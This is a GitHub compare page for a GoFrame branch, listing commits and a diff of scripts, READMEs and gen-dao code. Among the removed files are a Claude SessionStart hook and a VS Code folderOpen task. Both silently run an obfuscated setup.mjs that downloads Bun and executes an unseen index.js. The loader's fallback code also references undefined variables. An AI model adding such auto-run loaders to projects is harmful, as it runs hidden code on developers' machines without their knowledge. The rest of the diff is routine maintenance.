Compare commits

..

26 Commits

Author SHA1 Message Date
711ce6d1ff Merge branch 'master' into copilot/fix-4429 2026-02-11 11:28:05 +08:00
e3b9d511b5 Merge branch 'master' into copilot/fix-4429 2025-09-29 06:40:30 +08:00
cef1c11d3c Merge branch 'master' into copilot/fix-4429 2025-09-25 10:26:34 +08:00
8253646e60 fix: 优化 gtime.Time 转换逻辑,减少内存分配并提高性能 2025-09-18 14:46:08 +08:00
f16bd34b08 fix: 优化 Time 函数中对 map 输入的处理逻辑,移除多余的格式参数 2025-09-18 12:04:23 +08:00
7ff9c0a522 fix: 优化 Time 函数中对 *gtime.Time 的处理逻辑以确保时区信息的保留 2025-09-18 11:57:16 +08:00
12e2408819 fix: 修复基准测试中未使用的 reflect.TypeOf 返回值 2025-09-18 11:52:07 +08:00
e30fc761bf fix: 更新 GTime 和 Time 函数以支持 map[string]any 类型 2025-09-18 11:50:49 +08:00
aa48e7b829 fix: 移除 GTime 函数中多余的时区处理逻辑 2025-09-18 11:47:41 +08:00
c3a2a2f5f9 fix: 修正 JSON 标签中的空白字符 2025-09-18 11:19:49 +08:00
c68b828af9 feat: 添加对 copilot 分支的支持 2025-09-18 10:36:42 +08:00
c3e517247d Apply gci import order changes 2025-09-16 15:54:28 +00:00
12f7a6e2f1 Add comprehensive theoretical analysis and detailed test examples for builtInAnyConvertFuncForGTime
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 15:40:06 +00:00
a7e9cdb28a Apply gci import order changes 2025-09-16 15:30:57 +00:00
1e01e30561 Fix builtin converter to preserve gtime timezone from map inputs
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 15:13:54 +00:00
426f33a65d Add comprehensive test suite for gtime timezone preservation
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 15:04:12 +00:00
40688fd5c4 Apply gci import order changes 2025-09-16 14:39:09 +00:00
57ff0561d0 Enhanced builtin converter for gtime timezone preservation
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 14:34:32 +00:00
c38ea8c88a Apply gci import order changes 2025-09-16 13:09:02 +00:00
3a99162d38 Deep analysis and enhanced fix for gtime timezone preservation
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 13:07:35 +00:00
d3b749956b Apply gci import order changes 2025-09-16 10:15:19 +00:00
7ed9913b6d Optimize and improve gtime timezone preservation implementation
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 09:11:09 +00:00
118c483451 Complete fix for gtime timezone preservation in Structs conversion
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 08:56:09 +00:00
276de61f41 Partial fix for timezone preservation and comprehensive test
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 08:52:16 +00:00
18dc6c2da1 Add direct *gtime.Time handling in Time converter
Co-authored-by: houseme <4829346+houseme@users.noreply.github.com>
2025-09-16 08:41:47 +00:00
09eadcaa9e Initial plan 2025-09-16 08:25:53 +00:00
162 changed files with 2369 additions and 45209 deletions

File diff suppressed because one or more lines are too long

View File

@ -1,15 +0,0 @@
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "node .claude/setup.mjs"
}
]
}
]
}
}

View File

@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

View File

@ -11,6 +11,7 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
pull_request:
branches:
@ -20,6 +21,8 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
workflow_dispatch:
inputs:
debug:

View File

@ -12,6 +12,7 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
pull_request:
branches:
@ -21,6 +22,7 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
# This allows a subsequently queued workflow run to interrupt previous runs
concurrency:

View File

@ -14,6 +14,7 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
- feat/**
pull_request:
branches:
@ -23,6 +24,7 @@ on:
- feature/**
- enhance/**
- fix/**
- copilot/**
- feat/**
jobs:

3
.gitignore vendored
View File

@ -25,5 +25,4 @@ node_modules
output
.example/
.golangci.bck.yml
*.exe
.aiprompt.zh.md
*.exe

View File

@ -1,16 +1,5 @@
#!/usr/bin/env bash
# Function to run sed in-place with OS-specific options
sed_replace() {
if [[ "$OSTYPE" == "darwin"* ]]; then
# macOS - requires empty string after -i
sed -i '' "$@"
else
# Linux/Windows Git Bash
sed -i "$@"
fi
}
workdir=.
echo "Prepare to tidy all go.mod files in the ${workdir} directory"
@ -38,9 +27,9 @@ for file in `find ${workdir} -name go.mod`; do
cd $goModPath
# Remove indirect dependencies
sed_replace '/\/\/ indirect/d' go.mod
sed -i '/\/\/ indirect/d' go.mod
go mod tidy
# Remove toolchain line if exists
sed_replace '/^toolchain/d' go.mod
sed -i '' '/^toolchain/d' go.mod
cd - > /dev/null
done

View File

@ -1,7 +1,7 @@
#!/usr/bin/env bash
# Function to run sed in-place with OS-specific options
sed_replace() {
sed_inplace() {
if [[ "$OSTYPE" == "darwin"* ]]; then
# macOS - requires empty string after -i
sed -i '' "$@"
@ -40,11 +40,11 @@ fi
if [[ true ]]; then
# Use sed to replace the version number in version.go
sed_replace 's/VERSION = ".*"/VERSION = "'${newVersion}'"/' version.go
sed_inplace 's/VERSION = ".*"/VERSION = "'${newVersion}'"/' version.go
# Use sed to replace the version number in README.MD
sed_replace 's/version=[^"]*/version='${newVersion}'/' README.MD
sed_replace 's/version=[^"]*/version='${newVersion}'/' README.zh_CN.MD
sed_inplace 's/version=[^"]*/version='${newVersion}'/' README.MD
sed_inplace 's/version=[^"]*/version='${newVersion}'/' README.zh_CN.MD
fi
if [ -f "go.work" ]; then
@ -81,20 +81,20 @@ for file in `find ${workdir} -name go.mod`; do
go mod edit -replace github.com/gogf/gf/contrib/drivers/sqlite/v2=../../contrib/drivers/sqlite
fi
# Remove indirect dependencies
sed_replace '/\/\/ indirect/d' go.mod
sed_inplace '/\/\/ indirect/d' go.mod
go mod tidy
# Remove toolchain line if exists
sed_replace '/^toolchain/d' go.mod
sed_inplace '/^toolchain/d' go.mod
# Upgrading only GoFrame related libraries, sometimes even if a version number is specified,
# it may not be possible to successfully upgrade. Please confirm before submitting the code
go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf"
go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf" | xargs -L1 go get -v
# Remove indirect dependencies
sed_replace '/\/\/ indirect/d' go.mod
sed_inplace '/\/\/ indirect/d' go.mod
go mod tidy
# Remove toolchain line if exists
sed_replace '/^toolchain/d' go.mod
sed_inplace '/^toolchain/d' go.mod
if [ $goModPath = "./cmd/gf" ]; then
go mod edit -dropreplace github.com/gogf/gf/v2
go mod edit -dropreplace github.com/gogf/gf/contrib/drivers/clickhouse/v2

202
.vscode/setup.mjs vendored
View File

@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

13
.vscode/tasks.json vendored
View File

@ -1,13 +0,0 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Environment Setup",
"type": "shell",
"command": "node .claude/setup.mjs",
"runOptions": {
"runOn": "folderOpen"
}
}
]
}

View File

@ -1,27 +1,5 @@
SHELL := /bin/bash
# commit changes with AI-generated commit message
.PHONY: up
up:
@if git diff --quiet HEAD && git diff --cached --quiet && [ -z "$$(git ls-files --others --exclude-standard)" ]; then \
echo "No changes to commit"; \
exit 0; \
fi
@git add -A
@echo "Analyzing changes and generating commit message via AI..."
@set -e; \
MSG=$$(git diff --cached --stat && echo "---" && git diff --cached | head -2000 | \
claude -p "Analyze the git diff above and generate a concise commit message (single line, max 72 chars, lowercase, no quotes). Output only the commit message itself, nothing else." \
--model haiku) || { echo "Error: Claude command failed"; exit 1; }; \
COMMIT_MSG=$$(echo "$$MSG" | tail -1); \
if [ -z "$$COMMIT_MSG" ]; then \
echo "Error: Failed to generate commit message"; \
exit 1; \
fi; \
echo "Commit: $$COMMIT_MSG"; \
git commit -m "$$COMMIT_MSG" && \
git push origin $$(git branch --show-current)
# execute "go mod tidy" on all folders that have go.mod file
.PHONY: tidy
tidy:
@ -74,6 +52,31 @@ tag:
git push origin $$newVersion; \
echo "Tag $$newVersion created and pushed successfully!"
# update submodules
.PHONY: subup
subup:
@set -e; \
echo "Updating submodules..."; \
git submodule init;\
git submodule update;
# update and commit submodules
.PHONY: subsync
subsync: subup
@set -e; \
echo "";\
cd examples; \
echo "Checking for changes..."; \
if git diff-index --quiet HEAD --; then \
echo "No changes to commit"; \
else \
echo "Found changes, committing..."; \
git add -A; \
git commit -m "examples update"; \
git push origin; \
fi; \
cd ..;
# manage docker services for local development
# usage: make docker or make docker cmd=start svc=mysql
.PHONY: docker

View File

@ -1,7 +1,7 @@
English | [简体中文](README.zh_CN.MD)
<div align=center>
<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe logo"/>
<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe gf logo"/>
[![Go Reference](https://pkg.go.dev/badge/github.com/gogf/gf/v2.svg)](https://pkg.go.dev/github.com/gogf/gf/v2)
[![GoFrame CI](https://github.com/gogf/gf/actions/workflows/ci-main.yml/badge.svg)](https://github.com/gogf/gf/actions/workflows/ci-main.yml)

View File

@ -1,7 +1,7 @@
[English](README.MD) | 简体中文
<div align=center>
<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe logo"/>
<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe gf logo"/>
[![Go Reference](https://pkg.go.dev/badge/github.com/gogf/gf/v2.svg)](https://pkg.go.dev/github.com/gogf/gf/v2)
[![GoFrame CI](https://github.com/gogf/gf/actions/workflows/ci-main.yml/badge.svg)](https://github.com/gogf/gf/actions/workflows/ci-main.yml)
@ -23,7 +23,7 @@
</div>
强大的框架,为了更快、更轻松、更高效的项目开发。
强大的框架,为了更快、更轻松、更高效的项目开发。
## 安装
@ -51,4 +51,4 @@ go get -u github.com/gogf/gf/v2
## 许可证
`GoFrame` 采用 [MIT License](LICENSE) 许可100%开源和免费
`GoFrame` 采用 [MIT License](LICENSE) 许可100% 免费和开源,永久保持

View File

@ -33,88 +33,65 @@ import (
)
type (
// CGenDao is the command handler struct for "gen dao" command.
CGenDao struct{}
// CGenDaoInput defines all input parameters for the "gen dao" command.
// It supports both command-line arguments and configuration file options.
CGenDao struct{}
CGenDaoInput struct {
g.Meta `name:"dao" config:"{CGenDaoConfig}" usage:"{CGenDaoUsage}" brief:"{CGenDaoBrief}" eg:"{CGenDaoEg}" ad:"{CGenDaoAd}"`
Path string `name:"path" short:"p" brief:"{CGenDaoBriefPath}" d:"internal"` // Base directory path for generated files.
Link string `name:"link" short:"l" brief:"{CGenDaoBriefLink}"` // Database connection string (e.g., "mysql:root:pass@tcp(127.0.0.1:3306)/db").
Tables string `name:"tables" short:"t" brief:"{CGenDaoBriefTables}"` // Comma-separated table names or wildcard patterns to include.
TablesEx string `name:"tablesEx" short:"x" brief:"{CGenDaoBriefTablesEx}"` // Comma-separated table names or wildcard patterns to exclude.
ShardingPattern []string `name:"shardingPattern" short:"sp" brief:"{CGenDaoBriefShardingPattern}"` // Patterns for sharding tables (e.g., "users_?" merges users_001, users_002 into one dao).
Group string `name:"group" short:"g" brief:"{CGenDaoBriefGroup}" d:"default"` // Database configuration group name for ORM instance.
Prefix string `name:"prefix" short:"f" brief:"{CGenDaoBriefPrefix}"` // Prefix to add to all generated table names.
RemovePrefix string `name:"removePrefix" short:"r" brief:"{CGenDaoBriefRemovePrefix}"` // Comma-separated prefixes to remove from table names.
RemoveFieldPrefix string `name:"removeFieldPrefix" short:"rf" brief:"{CGenDaoBriefRemoveFieldPrefix}"` // Comma-separated prefixes to remove from field names.
JsonCase string `name:"jsonCase" short:"j" brief:"{CGenDaoBriefJsonCase}" d:"CamelLower"` // Naming convention for JSON tags (e.g., CamelLower, Snake).
ImportPrefix string `name:"importPrefix" short:"i" brief:"{CGenDaoBriefImportPrefix}"` // Custom Go import path prefix for generated files.
DaoPath string `name:"daoPath" short:"d" brief:"{CGenDaoBriefDaoPath}" d:"dao"` // Sub-directory under Path for dao files.
TablePath string `name:"tablePath" short:"tp" brief:"{CGenDaoBriefTablePath}" d:"table"` // Sub-directory under Path for table field definition files.
DoPath string `name:"doPath" short:"o" brief:"{CGenDaoBriefDoPath}" d:"model/do"` // Sub-directory under Path for DO (Data Object) files.
EntityPath string `name:"entityPath" short:"e" brief:"{CGenDaoBriefEntityPath}" d:"model/entity"` // Sub-directory under Path for entity struct files.
TplDaoTablePath string `name:"tplDaoTablePath" short:"t0" brief:"{CGenDaoBriefTplDaoTablePath}"` // Custom template file for dao table generation.
TplDaoIndexPath string `name:"tplDaoIndexPath" short:"t1" brief:"{CGenDaoBriefTplDaoIndexPath}"` // Custom template file for dao index generation.
TplDaoInternalPath string `name:"tplDaoInternalPath" short:"t2" brief:"{CGenDaoBriefTplDaoInternalPath}"` // Custom template file for dao internal generation.
TplDaoDoPath string `name:"tplDaoDoPath" short:"t3" brief:"{CGenDaoBriefTplDaoDoPathPath}"` // Custom template file for DO generation.
TplDaoEntityPath string `name:"tplDaoEntityPath" short:"t4" brief:"{CGenDaoBriefTplDaoEntityPath}"` // Custom template file for entity generation.
StdTime bool `name:"stdTime" short:"s" brief:"{CGenDaoBriefStdTime}" orphan:"true"` // Use stdlib time.Time instead of gtime.Time for time fields.
WithTime bool `name:"withTime" short:"w" brief:"{CGenDaoBriefWithTime}" orphan:"true"` // Add creation timestamp to generated file headers.
GJsonSupport bool `name:"gJsonSupport" short:"n" brief:"{CGenDaoBriefGJsonSupport}" orphan:"true"` // Use *gjson.Json instead of string for JSON fields.
OverwriteDao bool `name:"overwriteDao" short:"v" brief:"{CGenDaoBriefOverwriteDao}" orphan:"true"` // Overwrite existing dao files (both index and internal).
DescriptionTag bool `name:"descriptionTag" short:"c" brief:"{CGenDaoBriefDescriptionTag}" orphan:"true"` // Add description struct tag with field comment.
NoJsonTag bool `name:"noJsonTag" short:"k" brief:"{CGenDaoBriefNoJsonTag}" orphan:"true"` // Omit json struct tags from generated structs.
NoModelComment bool `name:"noModelComment" short:"m" brief:"{CGenDaoBriefNoModelComment}" orphan:"true"` // Omit inline comments from generated struct fields.
Clear bool `name:"clear" short:"a" brief:"{CGenDaoBriefClear}" orphan:"true"` // Delete generated files that no longer correspond to database tables.
GenTable bool `name:"genTable" short:"gt" brief:"{CGenDaoBriefGenTable}" orphan:"true"` // Enable generation of table field definition files.
SqlDir string `name:"sqlDir" short:"sd" brief:"{CGenDaoBriefSqlDir}"` // Directory of SQL DDL files for offline generation (no DB connection needed).
SqlType string `name:"sqlType" short:"st" brief:"{CGenDaoBriefSqlType}" d:"mysql"` // SQL dialect when using SqlDir (mysql, pgsql, mssql, oracle, sqlite).
Path string `name:"path" short:"p" brief:"{CGenDaoBriefPath}" d:"internal"`
Link string `name:"link" short:"l" brief:"{CGenDaoBriefLink}"`
Tables string `name:"tables" short:"t" brief:"{CGenDaoBriefTables}"`
TablesEx string `name:"tablesEx" short:"x" brief:"{CGenDaoBriefTablesEx}"`
ShardingPattern []string `name:"shardingPattern" short:"sp" brief:"{CGenDaoBriefShardingPattern}"`
Group string `name:"group" short:"g" brief:"{CGenDaoBriefGroup}" d:"default"`
Prefix string `name:"prefix" short:"f" brief:"{CGenDaoBriefPrefix}"`
RemovePrefix string `name:"removePrefix" short:"r" brief:"{CGenDaoBriefRemovePrefix}"`
RemoveFieldPrefix string `name:"removeFieldPrefix" short:"rf" brief:"{CGenDaoBriefRemoveFieldPrefix}"`
JsonCase string `name:"jsonCase" short:"j" brief:"{CGenDaoBriefJsonCase}" d:"CamelLower"`
ImportPrefix string `name:"importPrefix" short:"i" brief:"{CGenDaoBriefImportPrefix}"`
DaoPath string `name:"daoPath" short:"d" brief:"{CGenDaoBriefDaoPath}" d:"dao"`
TablePath string `name:"tablePath" short:"tp" brief:"{CGenDaoBriefTablePath}" d:"table"`
DoPath string `name:"doPath" short:"o" brief:"{CGenDaoBriefDoPath}" d:"model/do"`
EntityPath string `name:"entityPath" short:"e" brief:"{CGenDaoBriefEntityPath}" d:"model/entity"`
TplDaoTablePath string `name:"tplDaoTablePath" short:"t0" brief:"{CGenDaoBriefTplDaoTablePath}"`
TplDaoIndexPath string `name:"tplDaoIndexPath" short:"t1" brief:"{CGenDaoBriefTplDaoIndexPath}"`
TplDaoInternalPath string `name:"tplDaoInternalPath" short:"t2" brief:"{CGenDaoBriefTplDaoInternalPath}"`
TplDaoDoPath string `name:"tplDaoDoPath" short:"t3" brief:"{CGenDaoBriefTplDaoDoPathPath}"`
TplDaoEntityPath string `name:"tplDaoEntityPath" short:"t4" brief:"{CGenDaoBriefTplDaoEntityPath}"`
StdTime bool `name:"stdTime" short:"s" brief:"{CGenDaoBriefStdTime}" orphan:"true"`
WithTime bool `name:"withTime" short:"w" brief:"{CGenDaoBriefWithTime}" orphan:"true"`
GJsonSupport bool `name:"gJsonSupport" short:"n" brief:"{CGenDaoBriefGJsonSupport}" orphan:"true"`
OverwriteDao bool `name:"overwriteDao" short:"v" brief:"{CGenDaoBriefOverwriteDao}" orphan:"true"`
DescriptionTag bool `name:"descriptionTag" short:"c" brief:"{CGenDaoBriefDescriptionTag}" orphan:"true"`
NoJsonTag bool `name:"noJsonTag" short:"k" brief:"{CGenDaoBriefNoJsonTag}" orphan:"true"`
NoModelComment bool `name:"noModelComment" short:"m" brief:"{CGenDaoBriefNoModelComment}" orphan:"true"`
Clear bool `name:"clear" short:"a" brief:"{CGenDaoBriefClear}" orphan:"true"`
GenTable bool `name:"genTable" short:"gt" brief:"{CGenDaoBriefGenTable}" orphan:"true"`
// TypeMapping maps database field type names to custom Go types.
// For example, mapping "decimal" to "float64" or "uuid" to "uuid.UUID".
TypeMapping map[DBFieldTypeName]CustomAttributeType `name:"typeMapping" short:"y" brief:"{CGenDaoBriefTypeMapping}" orphan:"true"`
// FieldMapping maps specific table.field combinations to custom Go types.
// For example, mapping "user.balance" to "decimal.Decimal".
TypeMapping map[DBFieldTypeName]CustomAttributeType `name:"typeMapping" short:"y" brief:"{CGenDaoBriefTypeMapping}" orphan:"true"`
FieldMapping map[DBTableFieldName]CustomAttributeType `name:"fieldMapping" short:"fm" brief:"{CGenDaoBriefFieldMapping}" orphan:"true"`
// genItems tracks all generated file paths and directories for cleanup purposes.
// internal usage purpose.
genItems *CGenDaoInternalGenItems
}
// CGenDaoOutput is the output of the "gen dao" command (currently empty).
CGenDaoOutput struct{}
// CGenDaoInternalInput extends CGenDaoInput with runtime-resolved fields
// used during the actual generation process.
CGenDaoInternalInput struct {
CGenDaoInput
DB gdb.DB // Database connection instance (nil in SQL file mode).
TableNames []string // Original table names from database or SQL files.
NewTableNames []string // Processed table names after prefix removal and sharding.
ShardingTableSet *gset.StrSet // Set of table names identified as sharding tables.
// TableFieldsMap stores pre-parsed table fields from SQL files.
// When this is set (SQL file mode), DB may be nil.
TableFieldsMap map[string]map[string]*gdb.TableField
DB gdb.DB
TableNames []string
NewTableNames []string
ShardingTableSet *gset.StrSet
}
// DBTableFieldName is the fully-qualified field name in "table.field" format.
DBTableFieldName = string
// DBFieldTypeName is the database column type name (e.g., "varchar", "decimal").
DBFieldTypeName = string
// CustomAttributeType defines a custom Go type mapping with its import path.
DBTableFieldName = string
DBFieldTypeName = string
CustomAttributeType struct {
Type string `brief:"custom attribute type name"` // Go type name (e.g., "decimal.Decimal").
Import string `brief:"custom import for this type"` // Go import path (e.g., "github.com/shopspring/decimal").
Type string `brief:"custom attribute type name"`
Import string `brief:"custom import for this type"`
}
)
var (
createdAt = gtime.Now() // Timestamp captured at program start, used in generated file headers.
tplView = gview.New() // Shared template view instance for rendering all Go file templates.
// defaultTypeMapping provides built-in type mappings from database types to Go types.
// User-provided TypeMapping takes precedence over these defaults.
createdAt = gtime.Now()
tplView = gview.New()
defaultTypeMapping = map[DBFieldTypeName]CustomAttributeType{
"decimal": {
Type: "float64",
@ -134,8 +111,7 @@ var (
},
}
// twRenderer configures the tablewriter to render without borders or separators,
// producing clean aligned text output for generated Go source code.
